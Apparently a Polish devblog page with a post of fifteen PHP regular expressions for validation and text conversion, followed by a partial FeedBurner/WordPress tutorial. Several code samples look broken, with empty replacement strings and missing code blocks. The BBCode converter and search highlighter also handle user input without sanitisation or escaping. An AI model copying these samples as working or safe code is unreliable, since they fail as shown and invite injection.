m1chu.eu - another devblog » Server-side

15 przydatnych wyrażeń regularnych w PHP

m1chu — Tue, 13 Oct 2009 20:23:51 +0000

W pewnym stadium zaawansowania wyrażenia regularne stają się potężnym narzędziem każdego programisty PHP (i nie tylko). A to dlatego, że pozwalają na wykonywanie operacji, których często nie sposób dokonać w prosty sposób przy pomocy standardowych funkcji zawartych w tym języku. Walidacja zawartości zmiennych, czy podmienianie specyficznej części ich zawartości – na to pozwalają wyrażenia regularne. 15-ście przykładowych, najbardziej niezbędnych dla każdego web developera, skompletowałem w dalszej części artykułu. Do Waszej dyspozycji oddaję także prosty serwis sprawdzający poprawność wprowadzanych wzorców.

1. Walidacja adresu e-mail opartego na hoście

Wzorzec:

/^([a-z0-9]{1})([^\s\t\.@]*)((\.[^\s\t\.@]+)*)@([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)\.([a-z0-9]{2,6})([.]?)$/Diu

Opis:

Wyrażenie ma za zadanie sprawdzać, czy wprowadzony przez użytkownika adres e-mail ma poprawną formę. Aby test zakończył się sukcesem muszą zostać spełnione następujące warunki:

nazwa użytkownika musi zaczynać się od znaku litery lub cyfry, nie może zawierać spacji, tabulatorów, aty, za to mogą się znajdować w nim kropki, pod warunkiem, że nie występują jedna, po drugiej,
po nazwie użytkownika musi pojawiać się znak małpy,
domena, podobnie jak nazwa użytkownika, musi rozpoczynać się od litery, bądź cyfry, po czym do znaków dozwolonych dochodzą - oraz ., pod warunkiem, że pierwszy z wcześniej wymienionych znaków nie znajduje się na początku lub na końcu nazwy subdomeny (wyjątkiem są dwa myślniki na jej końcu odpowiadające często prefiksom xn--), a drugi nie jest poprzedzany swoim odpowiednikiem. TLD może mieć długość od dwóch do sześciu znaków,
domena może być zakończona kropką,
rozwiązanie nie sprawdza jak długi jest wprowadzony adres e-mail.

Strona testowa:

Tutaj.

Tekst spełniający warunki:

2.a_a-d@n-do.x-d.pl

Tekst nie spełniający warunków:

2.a_a-d@n-do.x-d.v-.pl (część domeny kończąca się nieprawidłowym znakiem)

Uwagi:

Jeżeli rozwiązanie w jakimkolwiek stopniu zawiedzie można pokusić się o użycie wyrażenia z ostatniej aktualizacji pliku logical_filters.c ze źródeł PHP.

Rozwiązanie oparte o wyrażenie regularne:

$email = trim('adres@domena.pl');
if ( !preg_match('/^([a-z0-9]{1})([^\s\t\.@]*)((\.[^\s\t\.@]+)*)@([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)\.([a-z0-9]{2,6})([.]?)$/Diu', $email) )
{
	print 'Nieprawidłowy adres e-mail';
}

Rozwiązanie oparte o filter_var (PHP >= 5.2):

$email = trim('adres@domena.pl');
if ( (bool)filter_var($email, FILTER_VALIDATE_EMAIL) === false )
{
	print 'Nieprawidłowy adres e-mail';
}

2. Walidacja adresu e-mail opartego na hoście lub IPv4 serwera

Wzorzec:

/^([a-z0-9]{1})([^\s\t\.@]*)((\.[^\s\t\.@]+)*)@((([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)\.([a-z0-9]{2,6})([.]?))|((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))$/Diu

Opis:

Wyrażenie ma za zadanie sprawdzać, czy wprowadzony przez użytkownika adres e-mail ma poprawną formę. Aby test zakończył się sukcesem muszą zostać spełnione warunki z poprzedniego punktu oraz:

po znaku @ musi się pojawić opisany już wcześniej prawidłowo sformowany host lub adres IPv4 serwera w postaci czterech, dziesiętnych oktetów.

Strona testowa:

Tutaj.

Tekst spełniający warunki:

2.a_a-d@64.64.100.100

Tekst nie spełniający warunków:

2.a_a-d@64.64.256.100 (trzeci oktet jest po za zakresem)

Uwagi:

Jeżeli rozwiązanie w jakimkolwiek stopniu zawiedzie można pokusić się o użycie wyrażenia z ostatniej aktualizacji pliku logical_filters.c ze źródeł PHP.

Rozwiązanie oparte o wyrażenie regularne:

$email = trim('adres@85.64.100.100');
if ( !preg_match('/^([a-z0-9]{1})([^\s\t\.@]*)((\.[^\s\t\.@]+)*)@((([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)\.([a-z0-9]{2,6})([.]?))|((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))$/Diu', $email) )
{
	print 'Nieprawidłowy adres e-mail';
}

Rozwiązanie oparte o filter_var (PHP >= 5.2):

$email = trim('adres@domena.pl');
if ( (bool)filter_var($email, FILTER_VALIDATE_EMAIL) === false )
{
	print 'Nieprawidłowy adres e-mail';
}

3. Prosta weryfikacja adresu URL

Wzorzec:

/^(http|ftp)([s]{0,1}):\/\/([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)(\.([a-z0-9]{2,6})){0,1}((:[0-9]){0}|(:[1-9]{1}[0-9]*))\//iu

Opis:

Zweryfikować, czy użytkownik wprowadził adres URL, wg wzoru:

protokół://adres_serwera:port/

dozwolone protokoły: http, https, ftp, ftps,
adres serwera w formie serwera lokalnego, subdomen, domeny i rozszerzenia,
port jest opcjonalny,
dalsze wprowadzone dane (jak Query String) nie są sprawdzane,
konstrukcja jest przeznaczona do sprawdzanie adresów opartych na IPv4.

Strona testowa:

Tutaj.

Tekst spełniający warunki:

http://m1chu.eu/

Tekst nie spełniający warunków:

htt://adres.com/temp/ (nieprawidłowy schemat)

Rozwiązanie oparte o wyrażenie regularne:

$url = trim('http://m1chu.eu');
if ( !preg_match('/^(http|ftp)([s]{0,1}):\/\/([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)(\.([a-z0-9]{2,6})){0,1}((:[0-9]){0}|(:[1-9]{1}[0-9]*))\//iu', $url) )
{
	print 'Nieprawidłowy adres URL';
}

4. Wycinanie hosta z portem z adresu URL

Wzorzec:

/^(http|ftp)([s]{0,1}):\/\/((.*)\.[a-z0-9]{2,6}|((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5]))){0,1}((:[0-9]){0}|(:[1-9]{1}[0-9]*))\//iu

Opis:

Pobrać host wraz z portem (jeżeli został podany) z URI. Pozostałe zasady są tożsame z wymienionymi w poprzednim punkcie.

Strona testowa:

Tutaj.

Tekst spełniający warunki:

http://m1chu.eu:80/ (zwróci: m1chu.eu:80)

Tekst nie spełniający warunków:

htt://adres.com/temp/ (nieprawidłowy schemat)

Rozwiązanie oparte o wyrażenie regularne:

$url = trim('ftps://stro.eu:1000/file.exe');
if ( preg_match('/^(http|ftp)([s]{0,1}):\/\/((.*)\.[a-z0-9]{2,6}|((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5]))){0,1}((:[0-9]){0}|(:[1-9]{1}[0-9]*))\//iu', $url, $matches) )
{
	// $matches[3] - nazwa serwera z domeną lub adres IPv4
	// $matches[10] - port
	print $matches[3] . ':' . $matches[10];
}

5. Sprawdzanie adresu IP (protokół IPv4)

Wzorzec:

/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/Du

Opis:

Wykryć poprawność wprowadzonego w formie dziesiętnych oktetów IP (w wersji czwartej protokołu).

Strona testowa:

Tutaj.

Tekst spełniający warunki:

0.0.0.0

Tekst nie spełniający warunków:

101.256.0.1 (drugi oktet poza zakresem)

Rozwiązanie oparte o wyrażenie regularne:

$ipv4 = trim('192.168.0.1');
if ( !preg_match('/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/Du', $ipv4) )
{
	print 'Nieprawidłowy adres IPv4';
}

Rozwiązanie oparte o filter_var (PHP >= 5.2):

$ipv4 = trim('192.168.0.1');
if ( (bool)filter_var($ipv4, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) === false )
{
	print 'Nieprawidłowy adres IPv4';
}

6. Sprawdzamy adres IP z wykluczeniem puli prywatnych adresów (protokół IPv4)

Wzorzec:

/^([1-9]{1}[1-9]{0,1}|1\d([1-6]{1}|[8-9]{1})|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-4])$/Du

Opis:

Wykryć poprawność wprowadzonego IP (w wersji czwartej protokołu) z wykluczeniem części prywatnych i zastrzeżonych pul. Metoda nie dotyczy masek podsieci. Objęte wyjątki:

10.0.0.0 – 10.255.255.255,
0.0.0.0 – 0.255.255.255,
255.255.255.255,
127.0.0.0 – 127.255.255.255.

Strona testowa:

Tutaj.

Tekst spełniający warunki:

192.168.0.136

Tekst nie spełniający warunków:

0.0.0.0 (adres prywatny)

Uwagi:

Stosując funkcję ze zbioru filter_* odrzucone zostaną wszystkie zakresy adresów prywatnych i zastrzeżonych (np. 255.255.255.x).

Rozwiązanie oparte o wyrażenie regularne:

$ipv4 = trim('68.78.205.0');
if ( !preg_match('/^([1-9]{1}[1-9]{0,1}|1\d([1-6]{1}|[8-9]{1})|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-4])$/Du', $ipv4) )
{
	print 'Nieprawidłowy adres IPv4';
}

Rozwiązanie oparte o filter_var (PHP >= 5.2):

$ipv4 = trim('68.78.205.0');
if ( (bool)filter_var($ipv4, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false )
{
	print 'Nieprawidłowy adres IPv4';
}

7. Sprawdzamy adres IP (protokół IPv6 i IPv4)

Wzorzec:

/^((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?$/Du

Opis:

Wykryć poprawność wprowadzonego IP (w wersji szóstej i czwartej protokołu).

Strona testowa:

Tutaj.

Tekst spełniający warunki:

fe80:0:0:0:0204:61ff:254.157.241.86

Tekst nie spełniający warunków:

2001:::db8:: (błędna notacja)

Uwagi:

Stosując funkcję ze zbioru filter_* odrzucone zostaną wszelkie adresy IPv4. W przedstawionym wyrażeniu regularnym adresy z tej wersji są akceptowane zarówno występując samotnie, jak i w postaci sekwencji czterech ostatnich bajtów w IPv6 (np. :247.125.68.4).

Rozwiązanie oparte o wyrażenie regularne:

$ipv6 = trim('fe80::204:61ff:fe9d:f156');
if ( !preg_match('/^((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?$/Du', $ipv6) )
{
	print 'Nieprawidłowy adres IPv6/IPv4';
}

Rozwiązanie oparte o filter_var (PHP >= 5.2):

$ipv6 = trim('fe80::204:61ff:fe9d:f156');
if ( (bool)filter_var($ipv6, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) === false )
{
	print 'Nieprawidłowy adres IPv6';
}

8. Wykrywanie kolorów RGB w postaci szesnastkowej

Wzorzec:

/^#?[0-9a-f]{3}(?:[0-9a-f]{3})?$/Diu

Opis:

Sprawdzić, czy wprowadzone dane są szesnastkowymi odpowiednikami zapisu kolorów modelu RGB.

Strona testowa:

Tutaj.

Tekst spełniający warunki:

#ff0000

Tekst nie spełniający warunków:

#a0hfg1 (g i h nie są znakami używanymi przy zapisie heksadecymalnym)

Rozwiązanie oparte o wyrażenie regularne:

$hex = trim('#0F15a2');
if ( !preg_match('/^#?[0-9a-f]{3}(?:[0-9a-f]{3})?$/Diu', $hex) )
{
	print 'Nieprawidłowy kod szesnastkowy koloru!';
}

9. Proste sprawdzenie nazwy użytkownika

Wzorzec:

/^([a-z0-9]{1})([a-z0-9_-]{2,11})$/Diu

Opis:

Wprowadzone dane muszą rozpoczynać się od znaku alfanumerycznego. Kolejne znaki mogą być ponadto myślnikiem lub podkreśleniem. Długość tekstu nie może być większa niż 12ście znaków.

Strona testowa:

Brak.

Tekst spełniający warunki:

m1chu

Tekst nie spełniający warunków:

_nick (pierwszy znak nie jest cyfrą, ani literą)

Rozwiązanie oparte o wyrażenie regularne:

$username = trim('m1chu');
if ( !preg_match('/^([a-z0-9]{1})([a-z0-9_-]{2,11})$/Diu', $username) )
{
	print 'Nieprawidłowa nazwa użytkownika!';
}

10. Proste sprawdzenie hasła użytkownika

Wzorzec:

/^(?=[a-z0-9_#@%\*-]*?[A-Z])(?=[a-z0-9_#@%\*-]*?[a-z])(?=[a-z0-9_#@%\*-]*?[0-9])([a-z0-9_#@%\*-]{8,24})$/Diu

Opis:

Wpisane hasło użytkownika musi mieć od ośmiu, do dwudziestu czterech znaków, pośród których musi być co najmniej jedna wielka litera, jedna mała i jedna cyfra. Dodatkowo dozwolone są: _, #, @, %, * i -.

Strona testowa:

Brak.

Tekst spełniający warunki:

1xY#n6%2V

Tekst nie spełniający warunków:

@1bbd2 (za krótki ciąg, brak wielkiej litery)

Rozwiązanie oparte o wyrażenie regularne:

$password = trim('To#jEst@_haSL-o%usera*');
if ( !preg_match('/^(?=[a-z0-9_#@%\*-]*?[A-Z])(?=[a-z0-9_#@%\*-]*?[a-z])(?=[a-z0-9_#@%\*-]*?[0-9])([a-z0-9_#@%\*-]{8,24})$/Diu', $password) )
{
	print 'Nieprawidłowa nazwa użytkownika!';
}

11. Zaznaczanie frazy w tekście

Wzorzec:

/\b(fraza)\b/iu

Opis:

Zamienianie podanej frazy na inną lub wystylowanie jej formy. Przydatna funkcja w wyszukiwarkach.

Strona testowa:

Brak.

Działanie:

szukana_fraza -> szukana_fraza

Rozwiązanie oparte o wyrażenie regularne:

$text = 'Wyszukane frazy: wyrażenia, regularne, preg_match, preg_replace';
$find = 'regularne';
print preg_replace('/\b(' . $find . ')\b/iu', '\\1', $text);

Rozwiązanie oparte o str_ireplace:

$text = 'Wyszukane frazy: wyrażenia, regularne, preg_match, preg_replace';
$find = 'regularne';
print str_ireplace($find, '' . $find . '', $text);

12. Zamiana tekstowych emotikon na graficzne

Opis:

Podmiana tekstowych uśmieszków na ich odpowiedniki graficzne. Wersja z użyciem str_ireplace.

Strona testowa:

Brak.

Rozwiązanie oparte o wbudowaną funkcję PHP:

$text_format = array(
	array(';)', ';-)', 'x)', ';]', ';-]'),
	array(':)', ':-)', '=)', ':]', ':-]'),
	array(':(', ':-(', '=(', ':[', ':-['),
	array(';(', ';-(', 'x(', ';[', ';-['),
	array(':P', ':-P', '=P'),
	array(':D', ':-D', '=D'),
	array(':*', ':-*', '=*'),
	array(':O', ':-O', '=O'),
	array(':/', ':-/', '=/')
	);

$image_format = array(
	'wink.png',
	'smile.png',
	'sad.png',
	'cry.png',
	'tongue.png',
	'bigsmile.png',
	'kiss.png',
	'surprise.png',
	'grimace.png'
	);

$text = 'To jest przykładowy tekst ;] Prawda, że fajny? :-D Pogrymasiłbym trochę =/, ale po co? :) Także do zobaczenia :*';

foreach ( $text_format as $key => $val )
{
	$text = str_ireplace($val, '', $text);
}

print $text;

13. Zamiana BBCode na HTML

Wzorzec przykładowy:

/\[b\](.*?)\[\/b\]/Dius

Opis:

Podmiana BBCode poprzez kod HTML. Funkcjonalność znana z forów internetowych.

Strona testowa:

Brak.

Działanie:

[i]pochylenie[/i] -> pochylenie

Uwagi:

W komercyjnych projektach należy skorzystać z bardziej zaawansowanych klas do obsługi tego problemu. Pozwoli to uniknąć np. problemu z nieprawidłowym zagnieżdżeniem kilku tagów BBCode w sobie.

Rozwiązanie oparte o wyrażenie regularne:

function bbcode2html($code) {
	$search = array(
        '/\[b\](.*?)\[\/b\]/Dius',
        '/\[i\](.*?)\[\/i\]/Dius',
        '/\[u\](.*?)\[\/u\]/Dius',
        '/\[s\](.*?)\[\/s\]/Dius',
        '/\[img\=(.*?)\](.*?)\[\/img\]/Dius',
        '/\[img\](.*?)\[\/img\]/Dius',
        '/\[url\](.*?)\[\/url\]/Dius',
        '/\[url\=(.*?)\](.*?)\[\/url\]/Dius',
        '/\[color\=(#?([a-f0-9]{6}|[a-f0-9]{3}))\](.*?)\[\/color\]/Dius',
        '/\[size\=([1-9]{1}[0-9]{0,2})(px|pt|em)\](.*?)\[\/size\]/Dius',
    	'/\[font\=([a-z0-9\s"]+)\](.*?)\[\/font\]/Dius',
    );

	$replace = array(
        '\\1',
        '\\1',
        '\\1',
        '\\1',
        '',
        '',
        '\\1',
        '\\2',
        '\\2',
        '\\3',
    	'\\2'
    );

	return preg_replace($search, $replace, $code);
}

14. Sprawdzenie poprawności wprowadzonego kodu pocztowego

Wzorzec:

/^[0-9]{2}-?[0-9]{3}$/Du

Opis:

Testowanie poprawności wpisanego kodu pocztowego (w formacie używanym w Polsce). Dozwolone są wersje z myślnikiem pomiędzy drugą i trzecią cyfrą, oraz bez niego.

Strona testowa:

Brak.

Tekst spełniający warunki:

62-150

Tekst nie spełniający warunków:

611-10

Rozwiązanie oparte o wyrażenie regularne:

$postcode = '61-610';
if ( !preg_match('/^[0-9]{2}-?[0-9]{3}$/Du', $postcode) )
{
	print 'Nieprawidłowy kod pocztowy';
}

15. Operowanie na znacznikach XML/XHTML

Wzorzec:

/<([a-z]+)([\s]{1}[^=]+[=]{1}[^<]+)*(?:>(.*)<\/\1>|\s+\/>)/u

Opis:

Sprawdzenie znaczników XML/XHTML oraz pobranie treści znajdującej się pomiędzy nimi.

Strona testowa:

Brak.

Rozwiązanie oparte o wyrażenie regularne:

$tag = 'm1chu.eu - another devblog';
if ( !preg_match_all('/<([a-z]+)([\s]{1}[^=]+[=]{1}[^<]+)*(?:>(.*)<\/\1>|\s+\/>)/u', $tag, $matches, PREG_PATTERN_ORDER) )
{
	print 'Nieprawidłowa konstrukcja znacznika';
}
else {
	print_r($matches); // print_r($matches[3]) - lista treści zawieranych w tagach
}

Słowem zakończenia

Starałem się jak najdokładniej sprawdzić powyższe wzorce. Nie mniej jednak, jak to zwykle bywa, mogą się w nich znaleźć błędy. Jeżeli ktoś takowe znajdzie, ma jakieś pytania, czy lepsze propozycje to proszę o komentarze pod wpisem.

Jak wspomniałem na wstępie, uruchomiłem serwis pozwalający na sprawdzanie wyrażeń regularnych względem podanego tekstu. Jest on aktualnie w fazie testów, więc mogą występować błędy w jego działaniu. Po zakończeniu wprowadzania poprawek baza wpisów zostanie wyczyszczona do zera. Można go testować, a w przyszłości korzystać pod dwoma adresami:

regexp.pl (adres główny)
regexp.m1chu.eu (adres alternatywny)

Pod względem danych sesyjnych obydwa adresy działają niezależnie. Zapraszam do testowania i wyrażania swojego zdania na moim blogu, w komentarzach tego artykułu.

Jak wyizolować liczbę subskrybentów RSS korzystając z FeedBurner’a?

m1chu — Sun, 15 Feb 2009 12:55:53 +0000

W niezbędniku prawie każdego blogera leży możliwość menadżerowania swoimi kanałami RSS, bądź Atom. Któż z nas nie zna FeedBurner’a?. Zestawu narzędzi ułatwiających nam, czy to udostępnianie użytkownikom możliwości subskrypcji treści naszej strony, czy po prostu możliwość przejrzenia lub zamieszczenia statystyk w naszym serwisie. Pomimo dostarczonego API nie znajdziemy jednak bezpośrednio w panelu FeedBurner’a kodu pozwalającego na umieszczenie samej liczby subskrybentów bloga. I rozwiązanie tego, pozornie błahego problemu postaram się Wam dziś przedstawić…

Stary, dobry FeedBurner.com…

Niespełna dwa lata temu słynny serwis zajmujący się obsługą kanałów RSS został przejęty za sto milionów dolarów przez Google. Pomimo tego, że minęło aż tyle czasu wielu blogerów nadal korzysta z zasobów starego, wysłużonego, pierwotnego FeedBurner’a. I co może wydawać się dziwne, to właśnie oni mają najbardziej ułatwioną sytuację.

Zarówno stara, jak i nowa odsłona serwisu oferują usługę FeedCount dostępną z poziomu menu Publicize. Pozwala ona na dobranie typu wbudowanego tła wyświetlającego ilość subskrybentów (statyczne, bądź animowane) oraz na dobranie jego barwy i koloru tekstu. Wraz z ustawieniem tych parametrów otrzymujemy kod HTML do wstawienia na naszą stronę. I tu rodzi się problem. Prócz kilku stylistycznych zmian wygląd tychże „chickletów” jest zawsze taki sam i najczęściej nijak pasuje do designu naszego bloga. Co zrobić jeżeli np. chcemy wraz z tekstem przycisku odnoszącego użytkowników do wygenerowanego kanału wstawić także ilość osób śledzących naszą stronę?

Rozwiązanie zaprezentuje na podstawie użytkowania platformy WordPress (oczywiście ilość subskrybentów – opierając się na dalszym tekście – można zamieścić w każdym innym systemie zarządzania treścią, bądź nawet na własnej, prywatnej stronie). W takim wypadku wystarczy zainteresować się wtyczkami FeedSmith 2.3 (polska wersja) (wg. developerów WordPress’a kompatybilną ze wszystkimi wersjami 2.x) i Feed Count 1.2 (polska wersja). Pierwsza z nich niezbędna jest do obsługi kanału RSS przez serwis FeedBurner.

Jej instalacja oraz rejestracja w serwisie jest niezbędna do działania drugiej z nich. Jak wykonuje się instalacje wtyczek? Wystarczy wyodrębnić z archiwum odpowiednie pliki (w naszym pierwszym przypadku będzie to FeedBurner_FeedSmith_Plugin.php, w drugim feedcount.php) i umieścić je w katalogu wp-content/plugins/ systemu WordPress. Następnie wtyczki należy zaktywować w panelu administratora (Wtyczki / Nazwa wtyczki / Włącz).

Obydwa pluginy należy dodatkowo skonfigurować w zakładce Ustawienia. Pierwszy z nich swoje opcje ukrywa w podmenu FeedBurner. Zobaczycie tam dwa pola do uzupełnienia, jedno wymagane, drugie opcjonalne. Pierwsze z nich to pełny odnośnik do feedu strony w serwisie FeedBurner (i dla starej odsłony, i dla nowej na serwerach Google), a drugi to link do kanału RSS komentarzy.

Konfiguracja wtyczki FeedSmith w panelu.

Co do drugiego rozszerzenia to działa ono dla wersji 2.x WordPress’a, z tymże przy najnowszej 2.7x może sprawiać problemy natury zwracania wyniku w postaci N/A zamiast poprawnej wartości.

Konfiguracja wtyczki Feed Count w panelu.

Rozszerzenie to także należy dodatkowo skonfigurować. Robimy to w panelu poprzez menu Ustawienia / Feed Count. W jej opcjach trzeba podać co najmniej adres kanału (Feed Url) w postaci nazwy kanału na FeedBurner’ze, częstość aktualizowania ilości subskrybentów (Update interval) oraz częstość aktualizacji po wystąpieniu błędu (Update interval (recovery)). Pozostałe pola nie są wymagane. Link url to adres odnośnika pojawiającego się na zwróconej przez skrypt ilości osób śledzących stronę. Before za to jest treścią pojawiającą się przed liczbą w.w. użytkowników, a After to treść po.

Po wykonaniu konfiguracji należy jeszcze w strukturze szablonu strony dodać odpowiedni kod.

Wstawić go musimy w miejscu w którym chcemy wyświetlać wystylizowaną liczbę użytkowników RSS (plugin ten nie zwraca tylko liczby otaczając ją poprzez dodatkowe tagi HTML). Oczywiście możemy go modyfikować. Jeżeli chcielibyście np. wyświetlić go w odnośniku (w header.php) o nazwie RSS w dodatkowych nawiasach to możecie to zrobić w następujący sposób:

No i ostatecznie musicie w panelu FeedBurner’a (nie wtyczki, a profilu w serwisie w którym zakładaliście konto) zezwolić wtyczce na działanie z API tegoż serwisu. Wystarczy wejść do zakładki Publicize, a następnie do menu Awareness API i zaktywować tą funkcjonalność.

Wtyczka Feed Count 1.2 dla Google FeedBurner!

Jeżeli zdecydowaliście się jednak na migracje z starych serwerów serwisu, na ultraszybkie i megafajne klastry Google, a wcześniej trafnie stosowaliście w.w. metodę do wyodrębniania liczby użytkowników to prawdopodobnie będzie ona także działać po przejściu na feedburner.google.com.

Trzeba jednak w takim wypadku dokonać pewnych, małych zmian w kodzie wyżej opisywanej wtyczki Feed Count. W tym celu edytujemy plik feedcount.php (np. poprzez Notepad++ lub ZendStudio). Przechodzimy w okolice 41 linii w celu odnalezienia następującego kodu.

		  'map_fc_queryurl' =>'http://api.feedburner.com/awareness/1.0/GetFeedData?uri=',

Co można zauważyć element tablicy o nazwie przed => wskazuje na adres dostępowy do API, ale feedburner.com. A my przecież chcemy korzystać już z API Google. W tym celu należy tą linijkę zmienić niżej wymienionym kodem, po czym zapisać plik i ponownie wysłać go na serwer.

